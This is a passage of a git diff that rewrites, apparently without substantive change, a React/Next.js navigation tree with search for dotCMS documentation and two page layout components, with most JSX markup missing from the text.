- return linkData.href;
- }
- }
-
- return '#'; // Fallback
-}
-
-// Transform API items (mixed folders and links) to navigation items
-function transformApiItemsToNavItems(items: ApiNavItem[]): NavItem[] {
- if (!items || !Array.isArray(items)) {
- return [];
- }
-
- return items
- .sort((a, b) => a.order - b.order)
- .map(item => {
- if (item.type === 'folder') {
- // Handle folder items
- const navItem: NavItem = {
- title: item.title,
- href: '#'
- };
-
- // Recursively process children
- if (item.children && item.children.length > 0) {
- navItem.items = transformApiItemsToNavItems(item.children);
- }
-
- return navItem;
- } else if (item.type === 'link') {
- // Handle link items
- const navItem: NavItem = {
- title: item.title,
- href: processLinkHref(item)
- };
-
- // Add target="_blank" if specified in the API
- if (item.target === '_blank') {
- navItem.target = '_blank';
- }
-
- return navItem;
- }
-
- // Fallback for unknown types
- return {
- title: item.title,
- href: '#'
- };
- })
- .filter(Boolean); // Remove any undefined items
-}
-
-// Helper function to find sections that should be auto-expanded
-function getSectionsToExpand(sections: NavSection[], currentPath: string): string[] {
- const sectionsToOpen: string[] = [];
-
- function checkSection(section: NavSection, sectionId: string): boolean {
- let shouldExpand = false;
-
- // Check if any item in this section matches current path or contains active children
- function checkItems(items: NavItem[]): boolean {
- return items.some(item => {
- // Check if this item is the current page
- if (isCurrentPageMatch(item.href, currentPath)) {
- return true;
- }
-
- // Check if this item has children that contain the current page
- if (item.items && item.items.length > 0) {
- if (checkItems(item.items)) {
- // If children contain current page, expand this level too
- sectionsToOpen.push(`${item.title}-0`); // Add subsection to expand
- return true;
- }
- }
-
- return false;
- });
- }
-
- if (checkItems(section.items)) {
- shouldExpand = true;
- sectionsToOpen.push(sectionId);
- }
-
- return shouldExpand;
- }
-
- // Check each section
- sections.forEach(section => {
- checkSection(section, section.title);
- });
-
- return sectionsToOpen;
-}
-
-// Helper function to check if href matches current path
-function isCurrentPageMatch(href: string, currentPath: string): boolean {
- if (!href || href === '#') return false;
-
- // Normalize paths for comparison
- const cleanPath = currentPath.startsWith('/') ? currentPath.slice(1) : currentPath;
- const cleanHref = href.replace('/docs/', '').replace(/^\//, '');
-
- // Exact match only - no substring matching to prevent multiple highlights
- return cleanPath === cleanHref;
-}
-
-const RedesignedNavTree: React.FC = ({
- currentPath = '',
- isMobile = false,
- className = '',
- items = [],
- initialSections
-}) => {
- // Indentation constants to align hierarchy consistently
- const TOP_LEVEL_LEFT_PADDING = 12; // px
- const NESTED_BASE_INDENT = 24; // px, ensures level 1 starts to the right of top-level
- const NESTED_INDENT_STEP = 12; // px per level
- const [openSections, setOpenSections] = useState([]);
- const [tagline, setTagline] = useState("dot dot dot");
- const [navigationSections, setNavigationSections] = useState(() => (initialSections as unknown as NavSection[]) || []);
- const [isLoading, setIsLoading] = useState(!initialSections);
- const [error, setError] = useState(null);
-
- // Search state
- const [searchQuery, setSearchQuery] = useState('');
- const [searchResults, setSearchResults] = useState([]);
-
- // Set random tagline on client-side to avoid hydration mismatch
- useEffect(() => {
- setTagline(getRandomTagline());
- }, []);
-
- // Flatten items for search (memoized for performance)
- const searchableItems = useMemo(() => {
- return flattenItems(items);
- }, [items]);
-
- // Handle search with debouncing
- useEffect(() => {
- const debounceTimer = setTimeout(() => {
- if (searchQuery.trim().length >= 2) {
- const results = performSearch(searchableItems, searchQuery);
- setSearchResults(results);
- } else {
- setSearchResults([]);
- }
- }, 200);
-
- return () => clearTimeout(debounceTimer);
- }, [searchQuery, searchableItems]);
-
- // Show overlay when user is actively searching (2+ characters)
- const shouldShowOverlay = searchQuery.trim().length >= 2;
-
- // Fetch navigation data from API only if no server-provided sections were given
- useEffect(() => {
- if (initialSections && initialSections.length > 0) {
- return;
- }
- const fetchNavigationData = async () => {
- try {
- setIsLoading(true);
- setError(null);
- const response = await fetchNavData({
- path: '/docs/nav',
- depth: 4,
- languageId: 1
- });
- if (response.nav && response.nav.children) {
- const transformedSections = transformApiResponseToNavSections(response.nav.children);
- if (transformedSections.length > 0) {
- setNavigationSections(transformedSections);
- } else {
- console.warn('No sections after transformation');
- setError('Navigation data is empty');
- }
- } else {
- console.warn('No children in API response');
- setError('Invalid navigation structure');
- }
- } catch (err) {
- console.error('Error fetching navigation data:', err);
- setError('Failed to load navigation');
- } finally {
- setIsLoading(false);
- }
- };
- fetchNavigationData();
- }, [initialSections]);
-
- // Auto-expand sections containing the current page
- useEffect(() => {
- if (navigationSections.length > 0 && currentPath) {
- const sectionsToExpand = getSectionsToExpand(navigationSections, currentPath);
- setOpenSections(sectionsToExpand);
- }
- }, [navigationSections, currentPath]);
-
- // Search handlers
- const handleSearchChange = useCallback((e: React.ChangeEvent) => {
- setSearchQuery(e.target.value);
- }, []);
-
- const handleSearchClear = useCallback(() => {
- setSearchQuery('');
- setSearchResults([]);
- }, []);
-
- const handleSuggestionSelect = useCallback((result: SearchResult) => {
- setSearchQuery('');
- setSearchResults([]);
- // Navigation will be handled by Next.js Link component
- }, []);
-
- const handleSearchBlur = useCallback(() => {
- // Don't auto-hide overlay on blur to allow scrolling through results
- }, []);
-
- const handleSearchFocus = useCallback(() => {
- // Focus handler - overlay shows automatically when there are results
- }, []);
-
- const toggleSection = useCallback((sectionId: string) => {
- setOpenSections((prev: string[]) =>
- prev.includes(sectionId)
- ? prev.filter(id => id !== sectionId)
- : [...prev, sectionId]
- );
- }, []);
-
- const isCurrentPage = useCallback((href: string) => {
- return isCurrentPageMatch(href, currentPath);
- }, [currentPath]);
-
- const isParentActive = useCallback((items: NavItem[]): boolean => {
- return items.some(item => {
- if (isCurrentPage(item.href)) return true;
- if (item.items) return isParentActive(item.items);
- return false;
- });
- }, [isCurrentPage]);
-
- const renderNavItem = useCallback((item: NavItem, level: number = 0) => {
- const hasChildren = item.items && item.items.length > 0;
- const isActive = isCurrentPage(item.href);
- const childrenActive = hasChildren ? isParentActive(item.items!) : false;
- const paddingLeft = `${NESTED_BASE_INDENT + level * NESTED_INDENT_STEP}px`;
-
- if (hasChildren) {
- const sectionId = `${item.title}-${level}`;
- const isOpen = openSections.includes(sectionId);
-
- const handleToggleItem = (e: React.MouseEvent) => {
- e.preventDefault();
- e.stopPropagation();
- toggleSection(sectionId);
- };
-
- return (
-
-
-
- {item.title}
-
- {isOpen ? : }
-
-
- {isOpen && (
-
- {item.items!.map(subItem => renderNavItem(subItem, level + 1))}
-
- )}
-
- );
- }
-
- return (
-
- {item.title}
-
- );
- }, [openSections, toggleSection, isCurrentPage, isParentActive]);
-
- const renderSection = useCallback((section: NavSection) => {
- const sectionId = section.title;
- const isOpen = openSections.includes(sectionId);
- const hasActiveChild = isParentActive(section.items);
-
- const handleToggle = (e: React.MouseEvent) => {
- e.preventDefault();
- e.stopPropagation();
- toggleSection(sectionId);
- };
-
- return (
-
-
- {section.title}
- {isOpen ? : }
-
-
- {isOpen && (
-
- {section.items.map(item => renderNavItem(item, 0))}
-
- )}
-
- );
- }, [openSections, toggleSection, isParentActive, renderNavItem]);
-
- // Render search results for overlay mode
- const renderSearchOverlay = useCallback(() => {
- if (searchResults.length === 0) {
- return (
-
-
-
- No results found
-
-
- No results found for "{searchQuery}"
-
-
- Try different keywords or check spelling
-
-
- );
- }
-
- return (
-
-
- Found {searchResults.length} result{searchResults.length === 1 ? '' : 's'} for "{searchQuery}"
-
-
- {searchResults.map((result, index) => (
-
handleSuggestionSelect(result)}
- className={cn(
- "block mx-3 p-4 rounded-lg hover:bg-muted transition-colors border border-border/30 hover:border-border",
- "focus:outline-none focus:bg-muted focus:border-primary"
- )}
- >
-
-
- {highlightMatch(result.item.title, searchQuery)}
-
-
- {result.item.parentPath && result.item.parentPath.length > 0 && (
-
- {result.item.parentPath.join(' › ')}
-
- )}
-
- {result.item.seoDescription && (
-
- {highlightMatch(result.item.seoDescription, searchQuery)}
-
- )}
-
-
- ))}
-
- );
- }, [searchResults, searchQuery, handleSuggestionSelect]);
-
- const mobileStyles = isMobile
- ? "pt-4"
- : "max-h-[calc(100vh-4rem)] sticky top-16 pt-8";
-
- return (
-
-
- {/* Header */}
-
-
-
-
-
-
-
dotCMS Documentation
-
{tagline}
-
-
-
-
- {/* Search Section */}
- {searchableItems.length > 0 && (
-
-
-
-
- {searchQuery && (
-
-
-
- )}
-
-
- )}
-
- {/* Content Area: Either Search Results (Overlay Mode) or Navigation Sections */}
-
- {shouldShowOverlay ? (
- // Search Overlay Mode - Replace entire navigation with search results
- renderSearchOverlay()
- ) : isLoading ? (
-
-
-
Loading navigation...
-
- ) : error ? (
-
-
- {error}
- window.location.reload()}
- className="text-xs text-primary hover:underline mt-1"
- >
- Retry
-
-
- ) : (
- // Normal Navigation Sections
- navigationSections.map(renderSection)
- )}
-
-
-
- );
-};
-
+"use client";
+
+import React, { useState, useEffect, useCallback, useMemo } from 'react';
+import Link from 'next/link';
+import { ChevronDown, ChevronRight, BookOpen, HelpCircle, Search, X } from 'lucide-react';
+import { cn } from '@/util/utils';
+import { fetchNavData } from '@/util/page.utils';
+import { type NavSection as ServerNavSection } from '@/util/navTransform';
+
+// Types
+interface NavItem {
+ title: string;
+ href: string;
+ icon?: React.ReactNode;
+ target?: string;
+ items?: NavItem[];
+}
+
+interface NavSection {
+ title: string;
+ items: NavItem[];
+}
+
+interface RedesignedNavTreeProps {
+ currentPath?: string;
+ isMobile?: boolean;
+ className?: string;
+ items?: any[]; // Rich old nav data for search
+ initialSections?: ServerNavSection[]; // Server-fetched, transformed nav sections
+}
+
+// Search-related interfaces
+interface SearchableItem {
+ title: string;
+ navTitle?: string;
+ urlTitle: string;
+ tag?: string[];
+ seoDescription?: string;
+ path: string;
+ parentPath?: string[];
+}
+
+interface SearchResult {
+ item: SearchableItem;
+ score: number;
+ matchedFields: string[];
+}
+
+interface NavApiResponse {
+ entity: NavEntity;
+}
+
+interface NavEntity {
+ children: ApiNavItem[];
+}
+
+interface ApiNavItem {
+ type: 'folder' | 'link';
+ title: string;
+ href?: string;
+ code?: string | null;
+ folder?: string;
+ order: number;
+ target?: string;
+ children: ApiNavItem[];
+}
+
+const MAX_QUICK_SEARCH_RESULTS = 20;
+
+// Quippy taglines for the navigation header
+const NAVIGATION_TAGLINES = [
+ "Connecting the dots",
+ "dotCoMprehenSive",
+ "Context for content",
+ "Dot your i's, cross your t's",
+ "Until you're content!",
+ "Call it 'docCMS'",
+ "dot doc dot doc dot doc",
+ "dotCMS under the microscope",
+ "Organized chaos breeds wisdom",
+ "Enter the dot-matrix",
+ "We're dotty about content",
+ "That upon which we dote",
+ "Content management enlightenment",
+ "Can't spell 'Eureka!' without a dot"
+];
+
+// Get a random tagline on each page load
+function getRandomTagline(): string {
+ const randomIndex = Math.floor(Math.random() * NAVIGATION_TAGLINES.length);
+ return NAVIGATION_TAGLINES[randomIndex];
+}
+
+// Search functionality
+const SEARCH_WEIGHTS = {
+ title: 100,
+ navTitle: 90,
+ urlTitle: 60,
+ tag: 50,
+ seoDescription: 20
+};
+
+// Flatten nested items structure for search (handles both docs and nav API data)
+function flattenItems(items: any[], parentPath: string[] = []): SearchableItem[] {
+ const flattened: SearchableItem[] = [];
+
+ if (!items || !Array.isArray(items)) return flattened;
+
+ items.forEach(item => {
+ // Handle documentation API structure (getSideNav data)
+ if (item.urlTitle) {
+ const searchableItem: SearchableItem = {
+ title: item.title || item.navTitle || '',
+ navTitle: item.navTitle,
+ urlTitle: item.urlTitle,
+ tag: item.tag,
+ seoDescription: item.seoDescription,
+ path: `/docs/${item.urlTitle}`,
+ parentPath: [...parentPath]
+ };
+
+ flattened.push(searchableItem);
+ }
+
+ // Handle navigation API structure (fetchNavData data) - links and pages
+ else if ((item.type === 'link' || item.type === 'page') && (item.code || item.href)) {
+ const urlTitle = item.code || (item.href ? item.href.split('/').pop() : '');
+ if (urlTitle) {
+ const searchableItem: SearchableItem = {
+ title: item.title || '',
+ navTitle: item.title,
+ urlTitle: urlTitle,
+ tag: item.tag || [],
+ seoDescription: item.seoDescription || '',
+ path: item.code ? `/docs/${item.code}` : item.href || '#',
+ parentPath: [...parentPath]
+ };
+
+ flattened.push(searchableItem);
+ }
+ }
+
+ // Recursively process children (both API structures)
+ const children = item.dotcmsdocumentationchildren || item.children;
+ if (children && children.length > 0) {
+ const childPath = item.title ? [...parentPath, item.title] : parentPath;
+ flattened.push(...flattenItems(children, childPath));
+ }
+ });
+
+ return flattened;
+}
+
+// Calculate search score for an item
+function calculateScore(item: SearchableItem, query: string): { score: number; matchedFields: string[] } {
+ const lowerQuery = query.toLowerCase();
+ let totalScore = 0;
+ const matchedFields: string[] = [];
+
+ // Helper function to calculate field score
+ const scoreField = (fieldValue: string | string[] | undefined, fieldName: string, weight: number) => {
+ if (!fieldValue) return 0;
+
+ const values = Array.isArray(fieldValue) ? fieldValue : [fieldValue];
+ let fieldScore = 0;
+
+ values.forEach(value => {
+ const lowerValue = value.toLowerCase();
+
+ // Exact match gets full weight
+ if (lowerValue === lowerQuery) {
+ fieldScore += weight;
+ matchedFields.push(fieldName);
+ }
+ // Starts with query gets 80% weight
+ else if (lowerValue.startsWith(lowerQuery)) {
+ fieldScore += weight * 0.8;
+ matchedFields.push(fieldName);
+ }
+ // Contains query gets 60% weight
+ else if (lowerValue.includes(lowerQuery)) {
+ fieldScore += weight * 0.6;
+ matchedFields.push(fieldName);
+ }
+ // Fuzzy match gets 30% weight (simple word boundary check)
+ else if (lowerValue.split(/\s+/).some(word => word.includes(lowerQuery))) {
+ fieldScore += weight * 0.3;
+ matchedFields.push(fieldName);
+ }
+ });
+
+ return fieldScore;
+ };
+
+ // Score each field
+ totalScore += scoreField(item.title, 'title', SEARCH_WEIGHTS.title);
+ totalScore += scoreField(item.navTitle, 'navTitle', SEARCH_WEIGHTS.navTitle);
+ totalScore += scoreField(item.urlTitle, 'urlTitle', SEARCH_WEIGHTS.urlTitle);
+ totalScore += scoreField(item.tag, 'tag', SEARCH_WEIGHTS.tag);
+ totalScore += scoreField(item.seoDescription, 'seoDescription', SEARCH_WEIGHTS.seoDescription);
+
+ return { score: totalScore, matchedFields: Array.from(new Set(matchedFields)) };
+}
+
+// Perform search
+function performSearch(items: SearchableItem[], query: string): SearchResult[] {
+ if (!query.trim() || query.length < 2) return [];
+
+ const results: SearchResult[] = [];
+
+ items.forEach(item => {
+ const { score, matchedFields } = calculateScore(item, query);
+
+ if (score > 0) {
+ results.push({
+ item,
+ score,
+ matchedFields
+ });
+ }
+ });
+
+ // Sort by score (highest first) and limit results
+ return results
+ .sort((a, b) => b.score - a.score)
+ .slice(0, MAX_QUICK_SEARCH_RESULTS); // Show top MAX_QUICK_SEARCH_RESULTS results
+}
+
+// Highlight matching text in search results
+function highlightMatch(text: string, query: string): React.ReactNode {
+ if (!query.trim()) return text;
+
+ const lowerText = text.toLowerCase();
+ const lowerQuery = query.toLowerCase();
+
+ if (!lowerText.includes(lowerQuery)) return text;
+
+ const parts: React.ReactNode[] = [];
+ let lastIndex = 0;
+
+ // Find all matches
+ let index = lowerText.indexOf(lowerQuery, lastIndex);
+ while (index !== -1) {
+ // Add text before match
+ if (index > lastIndex) {
+ parts.push(text.slice(lastIndex, index));
+ }
+
+ // Add highlighted match
+ parts.push(
+
+ {text.slice(index, index + query.length)}
+
+ );
+
+ lastIndex = index + query.length;
+ index = lowerText.indexOf(lowerQuery, lastIndex);
+ }
+
+ // Add remaining text
+ if (lastIndex < text.length) {
+ parts.push(text.slice(lastIndex));
+ }
+
+ return <>{parts}>;
+}
+
+// Transform API response to navigation sections
+function transformApiResponseToNavSections(apiData: ApiNavItem[]): NavSection[] {
+ if (!apiData || !Array.isArray(apiData)) {
+ return [];
+ }
+
+ // Simple transformation without visual metadata
+ return apiData
+ .filter(item => item.type === 'folder')
+ .sort((a, b) => a.order - b.order)
+ .map(section => ({
+ title: section.title,
+ items: transformApiItemsToNavItems(section.children || [])
+ }));
+}
+
+// Helper function to process link data according to user's rules
+function processLinkHref(linkData: ApiNavItem): string {
+ // If code is non-null, use /docs/{code}
+ if (linkData.code && linkData.code.trim() !== '') {
+ return `/docs/${linkData.code}`;
+ }
+
+ // If code is null but href starts with https://, use that
+ if (linkData.href) {
+ if (linkData.href.startsWith('https://')) {
+ return linkData.href;
+ }
+
+ // Otherwise, strip domain to make it relative
+ try {
+ const url = new URL(linkData.href);
+ return url.pathname + url.search + url.hash;
+ } catch (e) {
+ // If it's not a valid URL, treat it as already relative
+ return linkData.href;
+ }
+ }
+
+ return '#'; // Fallback
+}
+
+// Transform API items (mixed folders and links) to navigation items
+function transformApiItemsToNavItems(items: ApiNavItem[]): NavItem[] {
+ if (!items || !Array.isArray(items)) {
+ return [];
+ }
+
+ return items
+ .sort((a, b) => a.order - b.order)
+ .map(item => {
+ if (item.type === 'folder') {
+ // Handle folder items
+ const navItem: NavItem = {
+ title: item.title,
+ href: '#'
+ };
+
+ // Recursively process children
+ if (item.children && item.children.length > 0) {
+ navItem.items = transformApiItemsToNavItems(item.children);
+ }
+
+ return navItem;
+ } else if (item.type === 'link') {
+ // Handle link items
+ const navItem: NavItem = {
+ title: item.title,
+ href: processLinkHref(item)
+ };
+
+ // Add target="_blank" if specified in the API
+ if (item.target === '_blank') {
+ navItem.target = '_blank';
+ }
+
+ return navItem;
+ }
+
+ // Fallback for unknown types
+ return {
+ title: item.title,
+ href: '#'
+ };
+ })
+ .filter(Boolean); // Remove any undefined items
+}
+
+// Helper function to find sections that should be auto-expanded
+function getSectionsToExpand(sections: NavSection[], currentPath: string): string[] {
+ const sectionsToOpen: string[] = [];
+
+ function checkSection(section: NavSection, sectionId: string): boolean {
+ let shouldExpand = false;
+
+ // Check if any item in this section matches current path or contains active children
+ function checkItems(items: NavItem[]): boolean {
+ return items.some(item => {
+ // Check if this item is the current page
+ if (isCurrentPageMatch(item.href, currentPath)) {
+ return true;
+ }
+
+ // Check if this item has children that contain the current page
+ if (item.items && item.items.length > 0) {
+ if (checkItems(item.items)) {
+ // If children contain current page, expand this level too
+ sectionsToOpen.push(`${item.title}-0`); // Add subsection to expand
+ return true;
+ }
+ }
+
+ return false;
+ });
+ }
+
+ if (checkItems(section.items)) {
+ shouldExpand = true;
+ sectionsToOpen.push(sectionId);
+ }
+
+ return shouldExpand;
+ }
+
+ // Check each section
+ sections.forEach(section => {
+ checkSection(section, section.title);
+ });
+
+ return sectionsToOpen;
+}
+
+// Helper function to check if href matches current path
+function isCurrentPageMatch(href: string, currentPath: string): boolean {
+ if (!href || href === '#') return false;
+
+ // Normalize paths for comparison
+ const cleanPath = currentPath.startsWith('/') ? currentPath.slice(1) : currentPath;
+ const cleanHref = href.replace('/docs/', '').replace(/^\//, '');
+
+ // Exact match only - no substring matching to prevent multiple highlights
+ return cleanPath === cleanHref;
+}
+
+const RedesignedNavTree: React.FC = ({
+ currentPath = '',
+ isMobile = false,
+ className = '',
+ items = [],
+ initialSections
+}) => {
+ // Indentation constants to align hierarchy consistently
+ const TOP_LEVEL_LEFT_PADDING = 12; // px
+ const NESTED_BASE_INDENT = 24; // px, ensures level 1 starts to the right of top-level
+ const NESTED_INDENT_STEP = 12; // px per level
+ const [openSections, setOpenSections] = useState([]);
+ const [tagline, setTagline] = useState("dot dot dot");
+ const [navigationSections, setNavigationSections] = useState(() => (initialSections as unknown as NavSection[]) || []);
+ const [isLoading, setIsLoading] = useState(!initialSections);
+ const [error, setError] = useState(null);
+
+ // Search state
+ const [searchQuery, setSearchQuery] = useState('');
+ const [searchResults, setSearchResults] = useState([]);
+
+ // Set random tagline on client-side to avoid hydration mismatch
+ useEffect(() => {
+ setTagline(getRandomTagline());
+ }, []);
+
+ // Flatten items for search (memoized for performance)
+ const searchableItems = useMemo(() => {
+ return flattenItems(items);
+ }, [items]);
+
+ // Handle search with debouncing
+ useEffect(() => {
+ const debounceTimer = setTimeout(() => {
+ if (searchQuery.trim().length >= 2) {
+ const results = performSearch(searchableItems, searchQuery);
+ setSearchResults(results);
+ } else {
+ setSearchResults([]);
+ }
+ }, 200);
+
+ return () => clearTimeout(debounceTimer);
+ }, [searchQuery, searchableItems]);
+
+ // Show overlay when user is actively searching (2+ characters)
+ const shouldShowOverlay = searchQuery.trim().length >= 2;
+
+ // Fetch navigation data from API only if no server-provided sections were given
+ useEffect(() => {
+ if (initialSections && initialSections.length > 0) {
+ return;
+ }
+ const fetchNavigationData = async () => {
+ try {
+ setIsLoading(true);
+ setError(null);
+ const response = await fetchNavData({
+ path: '/docs/nav',
+ depth: 4,
+ languageId: 1
+ });
+ if (response.nav && response.nav.children) {
+ const transformedSections = transformApiResponseToNavSections(response.nav.children);
+ if (transformedSections.length > 0) {
+ setNavigationSections(transformedSections);
+ } else {
+ console.warn('No sections after transformation');
+ setError('Navigation data is empty');
+ }
+ } else {
+ console.warn('No children in API response');
+ setError('Invalid navigation structure');
+ }
+ } catch (err) {
+ console.error('Error fetching navigation data:', err);
+ setError('Failed to load navigation');
+ } finally {
+ setIsLoading(false);
+ }
+ };
+ fetchNavigationData();
+ }, [initialSections]);
+
+ // Auto-expand sections containing the current page
+ useEffect(() => {
+ if (navigationSections.length > 0 && currentPath) {
+ const sectionsToExpand = getSectionsToExpand(navigationSections, currentPath);
+ setOpenSections(sectionsToExpand);
+ }
+ }, [navigationSections, currentPath]);
+
+ // Search handlers
+ const handleSearchChange = useCallback((e: React.ChangeEvent) => {
+ setSearchQuery(e.target.value);
+ }, []);
+
+ const handleSearchClear = useCallback(() => {
+ setSearchQuery('');
+ setSearchResults([]);
+ }, []);
+
+ const handleSuggestionSelect = useCallback((result: SearchResult) => {
+ setSearchQuery('');
+ setSearchResults([]);
+ // Navigation will be handled by Next.js Link component
+ }, []);
+
+ const handleSearchBlur = useCallback(() => {
+ // Don't auto-hide overlay on blur to allow scrolling through results
+ }, []);
+
+ const handleSearchFocus = useCallback(() => {
+ // Focus handler - overlay shows automatically when there are results
+ }, []);
+
+ const toggleSection = useCallback((sectionId: string) => {
+ setOpenSections((prev: string[]) =>
+ prev.includes(sectionId)
+ ? prev.filter(id => id !== sectionId)
+ : [...prev, sectionId]
+ );
+ }, []);
+
+ const isCurrentPage = useCallback((href: string) => {
+ return isCurrentPageMatch(href, currentPath);
+ }, [currentPath]);
+
+ const isParentActive = useCallback((items: NavItem[]): boolean => {
+ return items.some(item => {
+ if (isCurrentPage(item.href)) return true;
+ if (item.items) return isParentActive(item.items);
+ return false;
+ });
+ }, [isCurrentPage]);
+
+ const renderNavItem = useCallback((item: NavItem, level: number = 0) => {
+ const hasChildren = item.items && item.items.length > 0;
+ const isActive = isCurrentPage(item.href);
+ const childrenActive = hasChildren ? isParentActive(item.items!) : false;
+ const paddingLeft = `${NESTED_BASE_INDENT + level * NESTED_INDENT_STEP}px`;
+
+ if (hasChildren) {
+ const sectionId = `${item.title}-${level}`;
+ const isOpen = openSections.includes(sectionId);
+
+ const handleToggleItem = (e: React.MouseEvent) => {
+ e.preventDefault();
+ e.stopPropagation();
+ toggleSection(sectionId);
+ };
+
+ return (
+
+
+
+ {item.title}
+
+ {isOpen ? : }
+
+
+ {isOpen && (
+
+ {item.items!.map(subItem => renderNavItem(subItem, level + 1))}
+
+ )}
+
+ );
+ }
+
+ return (
+
+ {item.title}
+
+ );
+ }, [openSections, toggleSection, isCurrentPage, isParentActive]);
+
+ const renderSection = useCallback((section: NavSection) => {
+ const sectionId = section.title;
+ const isOpen = openSections.includes(sectionId);
+ const hasActiveChild = isParentActive(section.items);
+
+ const handleToggle = (e: React.MouseEvent) => {
+ e.preventDefault();
+ e.stopPropagation();
+ toggleSection(sectionId);
+ };
+
+ return (
+
+
+ {section.title}
+ {isOpen ? : }
+
+
+ {isOpen && (
+
+ {section.items.map(item => renderNavItem(item, 0))}
+
+ )}
+
+ );
+ }, [openSections, toggleSection, isParentActive, renderNavItem]);
+
+ // Render search results for overlay mode
+ const renderSearchOverlay = useCallback(() => {
+ if (searchResults.length === 0) {
+ return (
+
+
+
+ No results found
+
+
+ No results found for "{searchQuery}"
+
+
+ Try different keywords or check spelling
+
+
+ );
+ }
+
+ return (
+
+
+ Found {searchResults.length} result{searchResults.length === 1 ? '' : 's'} for "{searchQuery}"
+
+
+ {searchResults.map((result, index) => (
+
handleSuggestionSelect(result)}
+ className={cn(
+ "block mx-3 p-4 rounded-lg hover:bg-muted transition-colors border border-border/30 hover:border-border",
+ "focus:outline-none focus:bg-muted focus:border-primary"
+ )}
+ >
+
+
+ {highlightMatch(result.item.title, searchQuery)}
+
+
+ {result.item.parentPath && result.item.parentPath.length > 0 && (
+
+ {result.item.parentPath.join(' › ')}
+
+ )}
+
+ {result.item.seoDescription && (
+
+ {highlightMatch(result.item.seoDescription, searchQuery)}
+
+ )}
+
+
+ ))}
+
+ );
+ }, [searchResults, searchQuery, handleSuggestionSelect]);
+
+ const mobileStyles = isMobile
+ ? "pt-4"
+ : "max-h-[calc(100vh-4rem)] sticky top-16 pt-8";
+
+ return (
+
+
+ {/* Header */}
+
+
+
+
+
+
+
dotCMS Documentation
+
{tagline}
+
+
+
+
+ {/* Search Section */}
+ {searchableItems.length > 0 && (
+
+
+
+
+ {searchQuery && (
+
+
+
+ )}
+
+
+ )}
+
+ {/* Content Area: Either Search Results (Overlay Mode) or Navigation Sections */}
+
+ {shouldShowOverlay ? (
+ // Search Overlay Mode - Replace entire navigation with search results
+ renderSearchOverlay()
+ ) : isLoading ? (
+
+
+
Loading navigation...
+
+ ) : error ? (
+
+
+ {error}
+ window.location.reload()}
+ className="text-xs text-primary hover:underline mt-1"
+ >
+ Retry
+
+
+ ) : (
+ // Normal Navigation Sections
+ navigationSections.map(renderSection)
+ )}
+
+
+
+ );
+};
+
export default RedesignedNavTree;
\ No newline at end of file
diff --git a/components/page-asset-with-content-block.js b/components/page-asset-with-content-block.js
index d2ca1ba..7880888 100644
--- a/components/page-asset-with-content-block.js
+++ b/components/page-asset-with-content-block.js
@@ -1,102 +1,102 @@
-"use client";
-
-import Header from "./header/header";
-import Footer from "./footer";
-import { useEditableDotCMSPage, DotCMSLayoutBody } from "@dotcms/react";
-import NotFound from "@/app/not-found";
-import Breadcrumbs from "@/components/navigation/Breadcrumbs";
-import { DotBlockEditor } from "./shared/dotBlockEditor";
-import { isJSON } from "@/util/utils";
-import OnThisPage from "./navigation/OnThisPage";
-import RedesignedNavTree from "./navigation/RedesignedNavTree";
-import { pageComponents } from "@/components/content-types";
-import NextBackButtons from "./navigation/NextBackButtons";
-
-
-export function BlockPageAsset({ pageContent, nav, searchItems = [], navSections }) {
-
- const {pageAsset, content = {}} = useEditableDotCMSPage(pageContent);
-
- const navigation = content.navigation;
-
- if (!pageAsset) {
- return ;
- }
-
- const hasBlockContent = pageAsset?.page?.content;
-
- const showLeftNav = (
- pageAsset?.page?.show && pageAsset?.page?.show.indexOf("leftnav") !== -1
- );
-
- const showPageToc = (pageAsset?.page?.show && pageAsset?.page?.show.indexOf("toc") !== -1)
-
- return (
-
- {pageAsset?.layout?.header &&
}
-
-
- {/* Left Navigation - Hide on mobile */}
- {showLeftNav && (
-
-
-
- )}
-
- {/* Main Content - Full width on mobile */}
-
-
-
-
{pageAsset.page.title}
-
-
- {hasBlockContent && (
-
-
-
- )}
-
-
-
-
-
-
- {showPageToc && (
-
-
-
- )}
-
-
- {pageAsset?.layout?.footer &&
}
-
- );
-}
+"use client";
+
+import Header from "./header/header";
+import Footer from "./footer";
+import { useEditableDotCMSPage, DotCMSLayoutBody } from "@dotcms/react";
+import NotFound from "@/app/not-found";
+import Breadcrumbs from "@/components/navigation/Breadcrumbs";
+import { DotBlockEditor } from "./shared/dotBlockEditor";
+import { isJSON } from "@/util/utils";
+import OnThisPage from "./navigation/OnThisPage";
+import RedesignedNavTree from "./navigation/RedesignedNavTree";
+import { pageComponents } from "@/components/content-types";
+import NextBackButtons from "./navigation/NextBackButtons";
+
+
+export function BlockPageAsset({ pageContent, nav, searchItems = [], navSections }) {
+
+ const {pageAsset, content = {}} = useEditableDotCMSPage(pageContent);
+
+ const navigation = content.navigation;
+
+ if (!pageAsset) {
+ return ;
+ }
+
+ const hasBlockContent = pageAsset?.page?.content;
+
+ const showLeftNav = (
+ pageAsset?.page?.show && pageAsset?.page?.show.indexOf("leftnav") !== -1
+ );
+
+ const showPageToc = (pageAsset?.page?.show && pageAsset?.page?.show.indexOf("toc") !== -1)
+
+ return (
+
+ {pageAsset?.layout?.header &&
}
+
+
+ {/* Left Navigation - Hide on mobile */}
+ {showLeftNav && (
+
+
+
+ )}
+
+ {/* Main Content - Full width on mobile */}
+
+
+
+
{pageAsset.page.title}
+
+
+ {hasBlockContent && (
+
+
+
+ )}
+
+
+
+
+
+
+ {showPageToc && (
+
+
+
+ )}
+
+
+ {pageAsset?.layout?.footer &&
}
+
+ );
+}
diff --git a/components/page-asset.js b/components/page-asset.js
index 88608b5..149ba7d 100644
--- a/components/page-asset.js
+++ b/components/page-asset.js
@@ -1,33 +1,33 @@
-"use client";
-
-import { DotCMSLayoutBody, useEditableDotCMSPage } from "@dotcms/react";
-import { pageComponents } from "@/components/content-types";
-import Header from "./header/header";
-import Footer from "./footer";
-
-export function PageAsset({ pageContent }) {
- const { pageAsset, content = {} } = useEditableDotCMSPage(pageContent);
- const navigation = content.navigation;
-
- if (!pageAsset) {
- return null;
- }
-
- return (
-
- {pageAsset?.layout?.header && (
-
- )}
-
-
-
-
-
- {pageAsset?.layout?.footer && }
-
- );
+"use client";
+
+import { DotCMSLayoutBody, useEditableDotCMSPage } from "@dotcms/react";
+import { pageComponents } from "@/components/content-types";
+import Header from "./header/header";
+import Footer from "./footer";
+
+export function PageAsset({ pageContent }) {
+ const { pageAsset, content = {} } = useEditableDotCMSPage(pageContent);
+ const navigation = content.navigation;
+
+ if (!pageAsset) {
+ return null;
+ }
+
+ return (
+
+ {pageAsset?.layout?.header && (
+
+ )}
+
+
+
+
+
